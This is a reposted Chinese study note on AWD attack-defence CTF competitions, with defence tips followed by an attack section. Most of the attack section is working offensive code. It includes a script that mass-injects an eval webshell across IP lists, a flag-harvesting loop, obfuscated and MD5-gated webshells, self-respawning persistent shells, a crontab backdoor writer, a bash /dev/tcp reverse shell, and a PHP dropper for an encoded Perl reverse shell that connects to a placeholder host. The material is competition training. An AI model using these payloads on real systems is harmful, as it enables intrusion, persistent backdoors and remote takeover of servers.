您的位置:首页 > 房产 > 家装 > 郑州网站推广外包_网络服务器搭建与管理_国内新闻最新消息今天_太原建站seo

郑州网站推广外包_网络服务器搭建与管理_国内新闻最新消息今天_太原建站seo

2024/12/23 8:59:10 来源:https://blog.csdn.net/2401_82985722/article/details/144208578  浏览:    关键词:郑州网站推广外包_网络服务器搭建与管理_国内新闻最新消息今天_太原建站seo
郑州网站推广外包_网络服务器搭建与管理_国内新闻最新消息今天_太原建站seo

学习参考:

AWD攻防学习总结(草稿状态,待陆续补充)_awd攻防赛入门-CSDN博客
国赛分区赛awd赛后总结-安心做awd混子-安全客 - 安全资讯平台

记第一次 AWD 赛前准备与赛后小结-腾讯云开发者社区-腾讯云

AWD学习笔记 - DiaosSama's Blog

防御阶段

1.修改各口令密码

(1)修改ssh弱口令:

$ passwd

(2)数据库root口令: 先更改配置文件  connect.php,再使用命令修改:

$ mysql -u root -p
Enter password:
mysql> set password for root@localhost = password('linelineline');
// root=用户名;linelineline=新密码;

修改完 mysql 相关部分后,习惯性使用命令应用修改:

flush privileges;

2.源码备份还原

可以使用Xftp直接拖

tar备份:

cd /var/www/html
tar -zcvf ~/html.tar.gz *

还原:

rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html

2.数据库备份还原

$ mysqldump -u root -p wlgf > backup.sql
$ mysql -u root -p wlgf < backup.sql$ mysqldump —all-databases > 1.sql //备份所有数据库
$ mysql -u username -p < 1.sql     //还原所有数据库

备份后,如果遇到wlgf数据库被删除的情况:

先进入mysql创建 wlgf 数据库,刷新之后 再恢复

mysql> CREATE DATABASE wlgf;
mysql> flush privileges;

代码审计:Fortify、Seay

[ 代码审计篇 ] Fortify 安装及使用详解(一)

Fortify 是一个静态的、白盒的软件源代码安全测试工具。它通过内置的五大主要分析引擎:数据流、语义、结构、控制流、配置流等对应用软件的源代码进行静态的分析,通过与软件安全漏洞规则集进行匹配、查找,从而将源代码中存在的安全漏洞扫描出来,并可导出报告。扫描的结果中包括详细的安全漏洞信息、相关的安全知识、修复意见。

使用页面如下:

实用命令

  • 查找可能的password
    cd /var/www/html
    find .|xargs grep "password"
    
  • 查找后门
    find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
    
  • 查找flag的位置
    使用 `find / -name *flag*` 或 `grep -rn "flag" *` 类似的语句可以快速发现 flag 所在的地方,方便后续拿分
    
  • 检查有没有多余无用端口对外开放
    netstat -anptl
    

克制不死马

1.强行kill掉进程后重启服务(不建议)

ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9

2.建立一个和不死马相同名字的文件或者目录,sleep短于不死马

<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.index.php';$code = 'hi!';//pass=passwhile (1){file_put_contents($file,$code);system('touch -m -d "2024-12-09 19:10:12" .index.php');//    usleep(5000);usleep(1000);}
?>

3.写python脚本1.py不断删除

import os
import timedef create_and_delete_file(file_name, sleep_time):while True:  # 无限循环try:# 创建名为“1.php”的文件with open(file_name, 'w') as file:file.write("<?php echo 'Hello, World!'; ?>")print(f"文件 {file_name} 已创建")# 短暂等待,时间可以根据需要调整time.sleep(sleep_time)# 删除文件os.remove(file_name)print(f"文件 {file_name} 已被删除")except Exception as e:print(f"发生错误: {e}")break  # 如果发生异常,退出循环# 调用函数,创建和删除文件
create_and_delete_file("1.php", 0.5)  # sleep时间为0.5

4.运行bash脚本

#!/bin/bash
while true 
do
#kill -9 进程ID
rm -rf .test.php
done

5.条件竞争

#!/bin/bash
dire="/var/www/html/.test.php/"
file="/var/www/html/.test.php"
rm -rf $file
mkdir $dire
./xx.sh

杀弹反弹shell

查看进程

ps -ef
px -aux
ps -aux | grep www-data

注意 www-data 权限的 /bin/sh,很有可能是nc

查找并终止特定进程:

kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'//结束命令
ps -aux | grep www-data | grep apache2 | awk '{print $2}' | xargs kill -9

文件监控

监听还原脚本‐>5分钟还原一次

使用本地py环境运行,需要更改sshIP及端口

import paramiko
import os
import timedef web_server_command(command,transport): #对服务器执行命令ssh = paramiko.SSHClient()ssh._transport = transportstdin, stdout, stderr = ssh.exec_command(command)# print(stdout.read())def web_server_file_action(ip, port, user, passwd, action): #对服务器文件操作try:transport = paramiko.Transport(ip, int(port))transport.connect(username=user, password=passwd)sftp = paramiko.SFTP.from_transport(transport)remote_path='/var/www/html/'remote_file = 'html.tar'local_path = 'C:/Users/'+os.getlogin()+'/Desktop/awd/'+ip+'/'web_server_command('cd '+remote_path+' && tar -cvf '+remote_file+' ./',transport)if not(os.path.exists(local_path)):os.makedirs(local_path)if action == 'get':sftp.get(remote_path+remote_file,local_path+remote_file)web_server_command('rm -rf '+remote_path+remote_file,transport)print('服务器源码保存在'+local_path)print('正在解压:')os.system('cd '+local_path+' & tar -xvf '+remote_file+' &del '+remote_file)print('文件解压完成')else:web_server_command('rm -rf '+remote_path+'*',transport)print('清理服务器web目录')os.system('cd '+local_path+' & tar -cvf '+remote_file+' ./*')sftp.put(local_path+remote_file, remote_path+remote_file)print('上传成功')web_server_command('cd '+remote_path+'&& tar -xvf '+remote_file+' && rm -rf '+remote_file,transport)print('还原完毕')print('-----------------------------')sftp.close()except:passprint('download or upload error')def web_server_mysql_action():#web_server_mysql_actionpass
def web_server_status():#web_server_statuspass
if __name__ == '__main__':web1_server_ip='10.241.180.159'web1_server_port='30021'web1_server_user='ctf'web1_server_passwd='123456'while(1):       for i in range(5,0,-1):time.sleep(1)print('倒计时'+str(i)+'秒')web_server_file_action(web1_server_ip,web1_server_port,web1_server_user,web1_server_passwd, 'put')

攻击阶段

nmap扫描端口后,win+alt 选择性粘贴

nmap 172.16.17.202 -p10000-20000

后门任意命令执行

D盾扫出任意命令执行后门,这个预留后门也是最简单的可以碰碰运气打一下看看有没有没修的

news.php

这个漏洞一般都会修的,通过它初步学习一下写马方法

GET传参?id=1(大于1的数字)

// 如果GET请求中存在名为'id'的参数
if(isset($_GET['id'])){$_html['id']=$_GET['id'];        // 将这个参数的值赋给变量$_html的'id'键// 如果'id'为空,不是数字,小于0,或者大于0但小于1if(empty($_html['id']) || !is_numeric($_html['id']) || $_html['id']<0 || ($_html['id']>0 && $_html['id']<1)){echo '<script type="text/javascript">alert("非法访问!");location.href="index.php";</script>';exit; }else{                                  // 如果'id'参数合法$_html['id']=intval($_html['id']);  // 将'id'参数的值转换为整数}
}
// 如果GET请求中不存在名为'id'的参数
else{// 输出JavaScript代码,弹出警告框提示“非法访问!”,并将浏览器重定向到index.php页面echo '<script type="text/javascript">alert("非法访问!");location:index.php;</script>'; exit; 
}

GET传参 zzz

构造payload,在源代码中得到flag

/news.php?id=3&zzz=cat /flag

通过命令执行执行上传一句话木马

可以通过命令执行执行上传一句话木马 <?php eval($_REQUEST['1']); ?>

//base64编码编写
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8+Cg==|base64 -d>>news.php
//+号被过滤,使用url的%2B代替
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php//url编码编写
echo %3C?php%20eval($_REQUEST%5B'1'%5D);%20?%3E|url -d>>news.php

使用脚本批量上传

import requests# 定义payload
payload = "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php"# ip.txt文件中的每一行都是一个IP地址
with open('ip.txt', 'r') as file:ips = file.readlines()# 遍历IP地址列表
for ip in ips:# 去除换行符ip = ip.strip()# 构造完整的URLurl = f"http://{ip}/news.php?id=3&zzz={payload}"# 发送GET请求try:response = requests.get(url, timeout=5)print(f"Sent payload to {ip}, Status Code: {response.status_code}")except requests.exceptions.RequestException as e:print(f"Failed to send payload to {ip}, Error: {e}")

写入后通过HTTP请求执行任意PHP代码

/news.php?id=3&1=system('cat /flag');

脚本批量获取:

import requests
import re
import time# 使用with语句自动管理文件资源
with open(r'E:\AWD\second\jiaoben\ip.txt', 'r') as f:with open('flag0.txt', 'w') as flag_file:  # 打开flag0.txt文件准备写入for ip in f:# 正确构造URLurl = 'http://' + ip.strip()path = "/news.php?id=1&1=system('cat%20/flag');"  # 注意URL编码payload = url + pathtry:# 发送GET请求response = requests.get(payload)# 使用正则表达式搜索flagresult = re.search('[a-z0-9]{32}', response.text)if response.status_code == 200 and result:print(url, result.group())# 将找到的flag写入文件flag_file.write(result.group() + '\n')  # 写入文件并添加换行符else:print(url, "There is no flag here")except requests.exceptions.RequestException as e:# 打印异常信息print(f"请求失败:{e}")# 等待5分钟(300秒)后再次执行print("等待5分钟...")time.sleep(300)

XSS

劫持流量实现恶意跳转

没啥实质攻击捣乱一下

可以在修改昵称处插入一句像这样的语句:

<script>window.location.href="http://www.baidu.com";</script>

那么访问/admin 时就会被跳转到百度的首页。

解决: 删除该用户即可

//具体操作:1.登录mysql数据库:mysql -u root -p
2.使用相关数据库(wlgf):use wlgf
3.查看数据库中所有表的名称:show tables;
4.查看表(user)中所有字段信息:SELECT * FROM user;
5.删除对应(id=3)用户:DELETE FROM user WHERE id = 3;删除id=2,id=3的用户:DELETE FROM users WHERE id IN (2, 3);

最后再查看表中信息,删除成功了,页面也恢复正常

SQL注入

python sqlmap.py -r "E:\bp\2.txt" --os-shell --batch--os-shell: 利用 SQL 注入漏洞来执行操作系统命令。获得一个交互式的 shell,可以在目标服务器上执行任意的操作系统命令。

抓包注入页面并保存文件,使用抓包文件进行注入(最准确)

使用Burp抓包,然后保存抓取到的内容到文件中,使用sqlmap -r 加载抓包文件,让sqlmap使用抓包文件中的数据来测试SQL注入漏洞,这种方式是最准确的

权限维持

一句话木马

简单易发现,也很容易被人利用

<?php eval(REQUEST['1']); ?>   //php
<script language="php">eval($_POST['1']);</script>
<sCriPt>、<ScRiPt>、<Script>    //大小写绕过
<scrscriptipt language="php">eval($_POST['1']);</scrscriptipt>    //双写绕过
<%eval request("1")%>         //asp
<% E=request("1");eval(E)%>   //变形绕过安全检测

过盾一句话

不容易被发现,也不容易被其他队利用

<?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>

可以改造成header返回的马,可以把这个一句话木马放到index.php中,直接访问index.php,从header中拿到flag。 

<?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?>$a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);

MD5马

检查POST请求中名为'1'的参数的MD5哈希值,此处1=md5ma

<?php
echo 'hello';
if(md5($_POST['1'])=='6be79677ed2bf64cf4c11c53ac69e56e'){@eval($_POST['cmd']);
}
?>

不死马

  • php file_put_contents写入不死马
file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyIxIl0pPT0iNmJlNzk2NzdlZDJiZjY0Y2Y0YzExYzUzYWM2OWU1NmUiKXtAZXZhbCgkX1BPU1RbIjEiXSk7fSA/PicpOyAgCiAgICAgICAgc2xlZXAoMCk7ICAKICAgIH0KPz4='));

GET:1=md5ma

POST:1=system('ls');

  • linux命令不死马
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
  • php不死马

在AWD比赛中,不死马对于维持权限十分有效。将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为 .index.php 的不死马隐藏文件

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){file_put_contents($file,$code);system('touch -m -d "2024-12-09 19:10:12" .index.php');usleep(5000);
}
?>#pass=pass
#密码 a
#文件名 .index.php  .DS_story

直接访问:

GET:http://xxx.xxx.xxx.xxx:/.index.php?pass=pass

POST:a=system('cat /flag');

蚁剑连接:

http://xxx.xxx.xxx.xxx:/.index.php?pass=pass

菜刀参考:

  • 变种不死马

- 开头的文件名

在 Linux 命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_REQUEST["a"]);} ?>';
while (1){file_put_contents($file,$code);//system('touch -m -d "2024-12-09 19:10:12" .login.php');file_put_contents($file1,$code);usleep(5000);
}
?>
#pass=pass&a=system('cat /flag');
  • crontab写马

system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'1a1dc91c907325c69271ddf0c944bc72\'){@eval(\\\\\\\\\$_POST[1]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

pass=pass

密码:1

crontab -u www-data CRON_FILE 来指定用户运行指定的定时任务

反弹shell

bash反弹shell    bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9 0>&1
nc反弹shell      本地 nc -l -p 8080

可以切换到bash命令去执行,但是会在root目录生成名为~/.bash_history的记录文件。

可以反弹 shell 的 php 脚本

<?phpfunction which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);}function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);}elseif (function_exists('shell_exec')) {$res = @shell_exec($cfe);}elseif (function_exists('system')) {@ob_start();@system($cfe);$res = @ob_get_contents();@ob_end_clean();}elseif (function_exists('passthru')) {@ob_start();@passthru($cfe);$res = @ob_get_contents();@ob_end_clean();}elseif (@is_resource($f = @popen($cfe, "r"))) {$res = '';while(!@feof($f)) {$res .= @fread($f,1024);}@pclose($f);}}return $res;}function cf($fname, $text) {if($fp = @fopen($fname, 'w')) {@fputs($fp, @base64_decode($text));@fclose($fp);}}
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

使用方法:

将 shell 文件上传至可访问的地方,开启 nc 监听

nc -l -vv [port] #这里是 1024,可以自己设置

然后访问该文件,就成功反弹 shell

效果如下:

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com